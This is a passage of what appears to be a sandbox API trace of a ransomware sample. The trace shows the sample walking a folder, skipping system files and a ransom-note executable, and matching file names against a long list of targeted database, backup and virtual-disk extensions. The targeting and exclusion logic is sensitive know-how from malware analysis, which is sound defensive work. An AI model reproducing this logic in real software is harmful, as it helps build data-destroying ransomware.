users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0105.215] GetLastError () returned 0x0 [0105.215] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0105.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0105.215] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0105.216] CloseHandle (hObject=0xf4) returned 1 [0105.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.216] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0105.216] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc930b5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0105.216] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.216] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.216] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0105.216] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc930b5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.216] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.216] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.216] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0105.216] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0105.216] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc930b5c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0105.216] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0105.216] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="temp") returned -1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="pagefile.sys") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="boot") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="ids.txt") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="perflogs") returned 1 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2="MSBuild") returned 1 [0105.217] lstrlenW (lpString="Proof.cab") returned 9 [0105.217] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab" [0105.217] lstrlenW (lpString="Proof.cab") returned 9 [0105.217] lstrlenW (lpString="Athena865") returned 9 [0105.217] lstrlenW (lpString=".dll") returned 4 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2=".dll") returned 1 [0105.217] lstrlenW (lpString=".lnk") returned 4 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2=".lnk") returned 1 [0105.217] lstrlenW (lpString=".ini") returned 4 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2=".ini") returned 1 [0105.217] lstrlenW (lpString=".sys") returned 4 [0105.217] lstrcmpiW (lpString1="Proof.cab", lpString2=".sys") returned 1 [0105.217] lstrlenW (lpString="Proof.cab") returned 9 [0105.217] lstrlenW (lpString="bak") returned 3 [0105.217] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0105.217] lstrlenW (lpString="ba_") returned 3 [0105.217] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0105.217] lstrlenW (lpString="dbb") returned 3 [0105.217] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0105.217] lstrlenW (lpString="vmdk") returned 4 [0105.218] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0105.218] lstrlenW (lpString="rar") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0105.218] lstrlenW (lpString="zip") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0105.218] lstrlenW (lpString="tgz") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0105.218] lstrlenW (lpString="vbox") returned 4 [0105.218] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0105.218] lstrlenW (lpString="vdi") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0105.218] lstrlenW (lpString="vhd") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0105.218] lstrlenW (lpString="vhdx") returned 4 [0105.218] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0105.218] lstrlenW (lpString="avhd") returned 4 [0105.218] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0105.218] lstrlenW (lpString="db") returned 2 [0105.218] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0105.218] lstrlenW (lpString="db2") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0105.218] lstrlenW (lpString="db3") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0105.218] lstrlenW (lpString="dbf") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0105.218] lstrlenW (lpString="mdf") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0105.218] lstrlenW (lpString="mdb") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0105.218] lstrlenW (lpString="sql") returned 3 [0105.218] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0105.218] lstrlenW (lpString="sqlite") returned 6 [0105.218] lstrcmpiW (lpString1="of.cab", lpString2="sqlite") returned -1 [0105.219] lstrlenW (lpString="sqlite3") returned 7 [0105.219] lstrcmpiW (lpString1="oof.cab", lpString2="sqlite3") returned -1 [0105.219] lstrlenW (lpString="sqlitedb") returned 8 [0105.219] lstrcmpiW (lpString1="roof.cab", lpString2="sqlitedb") returned -1 [0105.219] lstrlenW (lpString="xml") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0105.219] lstrlenW (lpString="$er") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0105.219] lstrlenW (lpString="4dd") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0105.219] lstrlenW (lpString="4dl") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0105.219] lstrlenW (lpString="^^^") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0105.219] lstrlenW (lpString="abs") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0105.219] lstrlenW (lpString="abx") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0105.219] lstrlenW (lpString="accdb") returned 5 [0105.219] lstrcmpiW (lpString1="f.cab", lpString2="accdb") returned 1 [0105.219] lstrlenW (lpString="accdc") returned 5 [0105.219] lstrcmpiW (lpString1="f.cab", lpString2="accdc") returned 1 [0105.219] lstrlenW (lpString="accde") returned 5 [0105.219] lstrcmpiW (lpString1="f.cab", lpString2="accde") returned 1 [0105.219] lstrlenW (lpString="accdr") returned 5 [0105.219] lstrcmpiW (lpString1="f.cab", lpString2="accdr") returned 1 [0105.219] lstrlenW (lpString="accdt") returned 5 [0105.219] lstrcmpiW (lpString1="f.cab", lpString2="accdt") returned 1 [0105.219] lstrlenW (lpString="accdw") returned 5 [0105.219] lstrcmpiW (lpString1="f.cab", lpString2="accdw") returned 1 [0105.219] lstrlenW (lpString="accft") returned 5 [0105.219] lstrcmpiW (lpString1="f.cab", lpString2="accft") returned 1 [0105.219] lstrlenW (lpString="adb") returned 3 [0105.219] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0105.220] lstrlenW (lpString="adb") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0105.220] lstrlenW (lpString="ade") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0105.220] lstrlenW (lpString="adf") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0105.220] lstrlenW (lpString="adn") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0105.220] lstrlenW (lpString="adp") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0105.220] lstrlenW (lpString="alf") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0105.220] lstrlenW (lpString="ask") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0105.220] lstrlenW (lpString="btr") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0105.220] lstrlenW (lpString="cat") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0105.220] lstrlenW (lpString="cdb") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0105.220] lstrlenW (lpString="ckp") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0105.220] lstrlenW (lpString="cma") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0105.220] lstrlenW (lpString="cpd") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0105.220] lstrlenW (lpString="dacpac") returned 6 [0105.220] lstrcmpiW (lpString1="of.cab", lpString2="dacpac") returned 1 [0105.220] lstrlenW (lpString="dad") returned 3 [0105.220] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0105.220] lstrlenW (lpString="dadiagrams") returned 10 [0105.220] lstrlenW (lpString="daschema") returned 8 [0105.220] lstrcmpiW (lpString1="roof.cab", lpString2="daschema") returned 1 [0105.220] lstrlenW (lpString="db-journal") returned 10 [0105.221] lstrlenW (lpString="db-shm") returned 6 [0105.221] lstrcmpiW (lpString1="of.cab", lpString2="db-shm") returned 1 [0105.221] lstrlenW (lpString="db-wal") returned 6 [0105.221] lstrcmpiW (lpString1="of.cab", lpString2="db-wal") returned 1 [0105.221] lstrlenW (lpString="dbc") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0105.221] lstrlenW (lpString="dbs") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0105.221] lstrlenW (lpString="dbt") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0105.221] lstrlenW (lpString="dbv") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0105.221] lstrlenW (lpString="dbx") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0105.221] lstrlenW (lpString="dcb") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0105.221] lstrlenW (lpString="dct") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0105.221] lstrlenW (lpString="dcx") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0105.221] lstrlenW (lpString="ddl") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0105.221] lstrlenW (lpString="dlis") returned 4 [0105.221] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0105.221] lstrlenW (lpString="dp1") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0105.221] lstrlenW (lpString="dqy") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0105.221] lstrlenW (lpString="dsk") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0105.221] lstrlenW (lpString="dsn") returned 3 [0105.221] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0105.221] lstrlenW (lpString="dtsx") returned 4 [0105.222] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0105.222] lstrlenW (lpString="dxl") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0105.222] lstrlenW (lpString="eco") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0105.222] lstrlenW (lpString="ecx") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0105.222] lstrlenW (lpString="edb") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0105.222] lstrlenW (lpString="epim") returned 4 [0105.222] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0105.222] lstrlenW (lpString="fcd") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0105.222] lstrlenW (lpString="fdb") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0105.222] lstrlenW (lpString="fic") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0105.222] lstrlenW (lpString="flexolibrary") returned 12 [0105.222] lstrlenW (lpString="fm5") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0105.222] lstrlenW (lpString="fmp") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0105.222] lstrlenW (lpString="fmp12") returned 5 [0105.222] lstrcmpiW (lpString1="f.cab", lpString2="fmp12") returned -1 [0105.222] lstrlenW (lpString="fmpsl") returned 5 [0105.222] lstrcmpiW (lpString1="f.cab", lpString2="fmpsl") returned -1 [0105.222] lstrlenW (lpString="fol") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0105.222] lstrlenW (lpString="fp3") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0105.222] lstrlenW (lpString="fp4") returned 3 [0105.222] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0105.222] lstrlenW (lpString="fp5") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0105.223] lstrlenW (lpString="fp7") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0105.223] lstrlenW (lpString="fpt") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0105.223] lstrlenW (lpString="frm") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0105.223] lstrlenW (lpString="gdb") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0105.223] lstrlenW (lpString="gdb") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0105.223] lstrlenW (lpString="grdb") returned 4 [0105.223] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0105.223] lstrlenW (lpString="gwi") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0105.223] lstrlenW (lpString="hdb") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0105.223] lstrlenW (lpString="his") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0105.223] lstrlenW (lpString="ib") returned 2 [0105.223] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0105.223] lstrlenW (lpString="idb") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0105.223] lstrlenW (lpString="ihx") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0105.223] lstrlenW (lpString="itdb") returned 4 [0105.223] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0105.223] lstrlenW (lpString="itw") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0105.223] lstrlenW (lpString="jet") returned 3 [0105.223] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0105.223] lstrlenW (lpString="jtx") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0105.224] lstrlenW (lpString="kdb") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0105.224] lstrlenW (lpString="kexi") returned 4 [0105.224] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0105.224] lstrlenW (lpString="kexic") returned 5 [0105.224] lstrcmpiW (lpString1="f.cab", lpString2="kexic") returned -1 [0105.224] lstrlenW (lpString="kexis") returned 5 [0105.224] lstrcmpiW (lpString1="f.cab", lpString2="kexis") returned -1 [0105.224] lstrlenW (lpString="lgc") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0105.224] lstrlenW (lpString="lwx") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0105.224] lstrlenW (lpString="maf") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0105.224] lstrlenW (lpString="maq") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0105.224] lstrlenW (lpString="mar") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0105.224] lstrlenW (lpString="marshal") returned 7 [0105.224] lstrcmpiW (lpString1="oof.cab", lpString2="marshal") returned 1 [0105.224] lstrlenW (lpString="mas") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0105.224] lstrlenW (lpString="mav") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0105.224] lstrlenW (lpString="maw") returned 3 [0105.224] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0105.224] lstrlenW (lpString="mdbhtml") returned 7 [0105.224] lstrcmpiW (lpString1="oof.cab", lpString2="mdbhtml") returned 1 [0105.225] lstrlenW (lpString="mdn") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0105.225] lstrlenW (lpString="mdt") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0105.225] lstrlenW (lpString="mfd") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0105.225] lstrlenW (lpString="mpd") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0105.225] lstrlenW (lpString="mrg") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0105.225] lstrlenW (lpString="mud") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0105.225] lstrlenW (lpString="mwb") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0105.225] lstrlenW (lpString="myd") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0105.225] lstrlenW (lpString="ndf") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0105.225] lstrlenW (lpString="nnt") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0105.225] lstrlenW (lpString="nrmlib") returned 6 [0105.225] lstrcmpiW (lpString1="of.cab", lpString2="nrmlib") returned 1 [0105.225] lstrlenW (lpString="ns2") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0105.225] lstrlenW (lpString="ns3") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0105.225] lstrlenW (lpString="ns4") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0105.225] lstrlenW (lpString="nsf") returned 3 [0105.225] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0105.225] lstrlenW (lpString="nv") returned 2 [0105.225] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0105.226] lstrlenW (lpString="nv2") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0105.226] lstrlenW (lpString="nwdb") returned 4 [0105.226] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0105.226] lstrlenW (lpString="nyf") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0105.226] lstrlenW (lpString="odb") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0105.226] lstrlenW (lpString="odb") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0105.226] lstrlenW (lpString="oqy") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0105.226] lstrlenW (lpString="ora") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0105.226] lstrlenW (lpString="orx") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0105.226] lstrlenW (lpString="owc") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0105.226] lstrlenW (lpString="p96") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0105.226] lstrlenW (lpString="p97") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0105.226] lstrlenW (lpString="pan") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0105.226] lstrlenW (lpString="pdb") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0105.226] lstrlenW (lpString="pdm") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0105.226] lstrlenW (lpString="pnz") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0105.226] lstrlenW (lpString="qry") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0105.226] lstrlenW (lpString="qvd") returned 3 [0105.226] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0105.227] lstrlenW (lpString="rbf") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0105.227] lstrlenW (lpString="rctd") returned 4 [0105.227] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0105.227] lstrlenW (lpString="rod") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0105.227] lstrlenW (lpString="rodx") returned 4 [0105.227] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0105.227] lstrlenW (lpString="rpd") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0105.227] lstrlenW (lpString="rsd") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0105.227] lstrlenW (lpString="sas7bdat") returned 8 [0105.227] lstrcmpiW (lpString1="roof.cab", lpString2="sas7bdat") returned -1 [0105.227] lstrlenW (lpString="sbf") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0105.227] lstrlenW (lpString="scx") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0105.227] lstrlenW (lpString="sdb") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0105.227] lstrlenW (lpString="sdc") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0105.227] lstrlenW (lpString="sdf") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0105.227] lstrlenW (lpString="sis") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0105.227] lstrlenW (lpString="spq") returned 3 [0105.227] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0105.227] lstrlenW (lpString="te") returned 2 [0105.227] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0105.227] lstrlenW (lpString="teacher") returned 7 [0105.227] lstrcmpiW (lpString1="oof.cab", lpString2="teacher") returned -1 [0105.227] lstrlenW (lpString="tmd") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0105.228] lstrlenW (lpString="tps") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0105.228] lstrlenW (lpString="trc") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0105.228] lstrlenW (lpString="trc") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0105.228] lstrlenW (lpString="trm") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0105.228] lstrlenW (lpString="udb") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0105.228] lstrlenW (lpString="udl") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0105.228] lstrlenW (lpString="usr") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0105.228] lstrlenW (lpString="v12") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0105.228] lstrlenW (lpString="vis") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0105.228] lstrlenW (lpString="vpd") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0105.228] lstrlenW (lpString="vvv") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0105.228] lstrlenW (lpString="wdb") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0105.228] lstrlenW (lpString="wmdb") returned 4 [0105.228] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0105.228] lstrlenW (lpString="wrk") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0105.228] lstrlenW (lpString="xdb") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0105.228] lstrlenW (lpString="xld") returned 3 [0105.228] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0105.228] lstrlenW (lpString="xmlff") returned 5 [0105.229] lstrcmpiW (lpString1="f.cab", lpString2="xmlff") returned -1 [0105.229] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All 